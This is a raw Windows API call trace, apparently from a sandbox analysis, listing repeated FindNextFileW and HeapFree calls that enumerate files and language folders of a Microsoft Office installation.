	[0207.173] FindNextFileW (in: hFindFile=0x652698, lpFindFileData=0x3a3f08c | out: lpFindFileData=0x3a3f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a96a42, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1a96a42, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1abcabc, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xde78, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BSTORM.VSL", cAlternateFileName="")) returned 1
	[0207.176] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x451b948 | out: hHeap=0x560000) returned 1
	[0207.176] FindNextFileW (in: hFindFile=0x652698, lpFindFileData=0x3a3f08c | out: lpFindFileData=0x3a3f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x45a7036, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x45a7036, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4619706, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x7c000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DBSAMPLE.MDB", cAlternateFileName="")) returned 1
	[0207.182] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x451b948 | out: hHeap=0x560000) returned 1
	[0207.182] FindNextFileW (in: hFindFile=0x652698, lpFindFileData=0x3a3f08c | out: lpFindFileData=0x3a3f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xacf29e7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PUBSPAPR", cAlternateFileName="")) returned 1
	[0207.185] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x451b948 | out: hHeap=0x560000) returned 1
	[0207.185] FindNextFileW (in: hFindFile=0x652698, lpFindFileData=0x3a3f08c | out: lpFindFileData=0x3a3f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc79af6a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcc79af6a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcc7c11d2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1fc48, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PUBWZINT.DLL", cAlternateFileName="")) returned 1
	[0207.187] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x451b948 | out: hHeap=0x560000) returned 1
	[0207.188] FindNextFileW (in: hFindFile=0x652698, lpFindFileData=0x3a3f08c | out: lpFindFileData=0x3a3f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x42ca, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ReviewRouting_Init.xsn", cAlternateFileName="REVIEW~1.XSN")) returned 1
	[0207.191] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x44748a0 | out: hHeap=0x560000) returned 1
	[0207.191] FindNextFileW (in: hFindFile=0x652418, lpFindFileData=0x3a3f308 | out: lpFindFileData=0x3a3f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d440f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d440f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d440f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0xcdf, cFileName="1036", cAlternateFileName="")) returned 1
	[0207.191] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x44748a0 | out: hHeap=0x560000) returned 1
	[0207.191] FindNextFileW (in: hFindFile=0x652418, lpFindFileData=0x3a3f308 | out: lpFindFileData=0x3a3f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d440f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d440f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d440f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0xcdf, cFileName="3082", cAlternateFileName="")) returned 1
	[0207.191] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x44748a0 | out: hHeap=0x560000) returned 1
	[0207.191] FindNextFileW (in: hFindFile=0x652418, lpFindFileData=0x3a3f308 | out: lpFindFileData=0x3a3f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1295fc19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x12985c4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0xcdf, cFileName="AccessWeb", cAlternateFileName="ACCESS~1")) returned 1
	[0207.192] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x44748a0 | out: hHeap=0x560000) returned 1
	[0207.192] FindNextFileW (in: hFindFile=0x652418, lpFindFileData=0x3a3f308 | out: lpFindFileData=0x3a3f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1295fc19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1306082b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x393a40, dwReserved0=0xa000000c, dwReserved1=0xcdf, cFileName="ACCICONS.EXE", cAlternateFileName="")) returned 1
	[0207.193] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x44748a0 | out: hHeap=0x560000) returned 1
	[0207.193] FindNextFileW (in: hFindFile=0x652418, lpFindFileData=0x3a3f308 | out: lpFindFileData=0x3a3f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda173cc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb6c7584, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x33860, dwReserved0=0xa000000c, dwReserved1=0xcdf, cFileName="ACCWIZ.DLL", cAlternateFileName="")) returned 1
	[0207.613] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x454b960 | out: hHeap=0x560000) returned 1
	[0207.613] FindNextFileW (in: hFindFile=0x6525d8, lpFindFileData=0x3a3eb94 | out: lpFindFileData=0x3a3eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf480feb5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x18157e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18157e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bg", cAlternateFileName="")) returned 1
	[0207.615] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x454b960 | out: hHeap=0x560000) returned 1
	[0207.615] FindNextFileW (in: hFindFile=0x6525d8, lpFindFileData=0x3a3eb94 | out: lpFindFileData=0x3a3eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x61b241f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x61b241f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ca", cAlternateFileName="")) returned 1
	[0207.617] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x454b960 | out: hHeap=0x560000) returned 1
	[0207.617] FindNextFileW (in: hFindFile=0x6525d8, lpFindFileData=0x3a3eb94 | out: lpFindFileData=0x3a3eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf134fca5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ee20e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ee20e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cs", cAlternateFileName="")) returned 1
	[0207.619] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x454b960 | out: hHeap=0x560000) returned 1
	[0207.619] FindNextFileW (in: hFindFile=0x6525d8, lpFindFileData=0x3a3eb94 | out: lpFindFileData=0x3a3eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c164a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6866e01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6866e01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="da", cAlternateFileName="")) returned 1
	[0207.621] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x454b960 | out: hHeap=0x560000) returned 1
	[0207.622] FindNextFileW (in: hFindFile=0x6525d8, lpFindFileData=0x3a3eb94 | out: lpFindFileData=0x3a3eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x624ad43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x624ad43, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="de", cAlternateFileName="")) returned 1
	[0207.623] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x454b960 | out: hHeap=0x560000) returned 1
	[0207.623] FindNextFileW (in: hFindFile=0x6525d8, lpFindFileData=0x3a3eb94 | out: lpFindFileData=0x3a3eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf472b09c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf472b09c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf475131d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4fe050, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DocumentFormat.OpenXml.dll", cAlternateFileName="DOCUME~1.DLL")) returned 1
	[0207.625] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x454b960 | out: hHeap=0x560000) returned 1
	[0207.625] FindNextFileW (in: hFindFile=0x6525d8, lpFindFileData=0x3a3eb94 | out: lpFindFileData=0x3a3eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="es", cAlternateFileName="")) returned 1
	[0207.627] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x454b960 | out: hHeap=0x560000) returned 1
	[0207.627] FindNextFileW (in: hFindFile=0x6525d8, lpFindFileData=0x3a3eb94 | out: lpFindFileData=0x3a3eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0df27d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8719376, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8719376, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="et", cAlternateFileName="")) returned 1
	[0207.629] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x454b960 | out: hHeap=0x560000) returned 1
	[0207.629] FindNextFileW (in: hFindFile=0x6525d8, lpFindFileData=0x3a3eb94 | out: lpFindFileData=0x3a3eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf41cdbc1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x69980f7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x69980f7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eu", cAlternateFileName="")) returned 1
	[0207.631] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x454b960 | out: hHeap=0x560000) returned 1
	[0207.631] FindNextFileW (in: hFindFile=0x6525d8, lpFindFileData=0x3a3eb94 | out: lpFindFileData=0x3a3eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x56d17f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56d17f1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56d17f1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13c40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EventSource.dll", cAlternateFileName="EVENTS~1.DLL")) returned 1
	[0207.633] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x454b960 | out: hHeap=0x560000) returned 1
	[0207.633] FindNextFileW (in: hFindFile=0x6525d8, lpFindFileData=0x3a3eb94 | out: lpFindFileData=0x3a3eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr", cAlternateFileName="")) returned 1
	[0207.635] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x454b960 | out: hHeap=0x560000) returned 1
	[0207.635] FindNextFileW (in: hFindFile=0x6525d8, lpFindFileData=0x3a3eb94 | out: lpFindFileData=0x3a3eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e0a643, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x675bda6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x675bda6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="gl", cAlternateFileName="")) returned 1
	[0207.636] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x454b960 | out: hHeap=0x560000) returned 1
	[0207.637] FindNextFileW (in: hFindFile=0x6525d8, lpFindFileData=0x3a3eb94 | out: lpFindFileData=0x3a3eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c8cf9c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="he", cAlternateFileName="")) returned 1
	[0207.638] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x454b960 | out: hHeap=0x560000) returned 1
	[0207.639] FindNextFileW (in: hFindFile=0x6525d8, lpFindFileData=0x3a3eb94 | out: lpFindFileData=0x3a3eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf43e3cb7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6c93006, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c93006, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hi", cAlternateFileName="")) returned 1
	[0207.641] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x454b960 | out: hHeap=0x560000) returned 1
	[0207.641] FindNextFileW (in: hFindFile=0x6525d8, lpFindFileData=0x3a3eb94 | out: lpFindFileData=0x3a3eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ac3289, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hr", cAlternateFileName="")) returned 1
	[0207.643] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x454b960 | out: hHeap=0x560000) returned 1
	[0207.643] FindNextFileW (in: hFindFile=0x6525d8, lpFindFileData=0x3a3eb94 | out: lpFindFileData=0x3a3eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1945af2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ebbef3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ebbef3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hu", cAlternateFileName="")) returned 1
	[0207.645] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x454b960 | out: hHeap=0x560000) returned 1
	[0207.645] FindNextFileW (in: hFindFile=0x6525d8, lpFindFileData=0x3a3eb94 | out: lpFindFileData=0x3a3eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc43098a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc43098a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="id", cAlternateFileName="")) returned 1
	[0207.932] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x454b960 | out: hHeap=0x560000) returned 1
	[0207.932] FindNextFileW (in: hFindFile=0x6525d8, lpFindFileData=0x3a3eb94 | out: lpFindFileData=0x3a3eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa89f599, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6270fd0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6270fd0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="it", cAlternateFileName="")) returned 1
	[0207.934] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x454b960 | out: hHeap=0x560000) returned 1
	[0207.934] FindNextFileW (in: hFindFile=0x6525d8, lpFindFileData=0x3a3eb94 | out: lpFindFileData=0x3a3eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x91adba5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x91adba5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ja", cAlternateFileName="")) returned 1
	[0207.935] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x454b960 | out: hHeap=0x560000) returned 1
	[0207.936] FindNextFileW (in: hFindFile=0x6525d8, lpFindFileData=0x3a3eb94 | out: lpFindFileData=0x3a3eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbd09866, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6d2b978, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d2b978, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="kk", cAlternateFileName="")) returned 1
	[0207.937] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x454b960 | out: hHeap=0x560000) returned 1
	[0207.937] FindNextFileW (in: hFindFile=0x6525d8, lpFindFileData=0x3a3eb94 | out: lpFindFileData=0x3a3eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12b7378, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x5101cbd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5101cbd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ko", cAlternateFileName="")) returned 1
	[0207.939] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x454b960 | out: hHeap=0x560000) returned 1
	[0207.939] FindNextFileW (in: hFindFile=0x6525d8, lpFindFileData=0x3a3eb94 | out: lpFindFileData=0x3a3eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6bad1cb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x22f6470, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22f6470, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="lt", cAlternateFileName="")) returned 1
	[0207.941] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x454b960 | out: hHeap=0x560000) returned 1
	[0207.941] FindNextFileW (in: hFindFile=0x6525d8, lpFindFileData=0x3a3eb94 | out: lpFindFileData=0x3a3eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x59f29de, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x59f29de, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="lv", cAlternateFileName="")) returned 1
	[0207.942] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x454b960 | out: hHeap=0x560000) returned 1
	[0207.943] FindNextFileW (in: hFindFile=0x6525d8, lpFindFileData=0x3a3eb94 | out: lpFindFileData=0x3a3eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf80afe67, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80afe67, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80afe67, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xee40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mashupcompression.dll", cAlternateFileName="MASHUP~1.DLL")) returned 1
	[0207.945] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x454b960 | out: hHeap=0x560000) returned 1
	[0207.945] FindNextFileW (in: hFindFile=0x6525d8, lpFindFileData=0x3a3eb94 | out: lpFindFileData=0x3a3eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0822be8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nl", cAlternateFileName="")) returned 1
	[0207.947] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x454b960 | out: hHeap=0x560000) returned 1
	[0207.947] FindNextFileW (in: hFindFile=0x6525d8, lpFindFileData=0x3a3eb94 | out: lpFindFileData=0x3a3eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4409f1c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8680a1e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8680a1e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="no", cAlternateFileName="")) returned 1
	[0207.948] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x454b960 | out: hHeap=0x560000) returned 1
	[0207.949] FindNextFileW (in: hFindFile=0x6525d8, lpFindFileData=0x3a3eb94 | out: lpFindFileData=0x3a3eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa879350, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa879350, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6daa8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Office.dll", cAlternateFileName="")) returned 1
	[0207.950] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x454b960 | out: hHeap=0x560000) returned 1
	[0207.950] FindNextFileW (in: hFindFile=0x6525d8, lpFindFileData=0x3a3eb94 | out: lpFindFileData=0x3a3eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf755cb7d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6bfa6d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bfa6d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-BR", cAlternateFileName="")) returned 1
	[0207.952] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x454b960 | out: hHeap=0x560000) returned 1
	[0207.952] FindNextFileW (in: hFindFile=0x6525d8, lpFindFileData=0x3a3eb94 | out: lpFindFileData=0x3a3eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4ba375b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-pt", cAlternateFileName="")) returned 1
	[0207.954] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x454b960 | out: hHeap=0x560000) returned 1
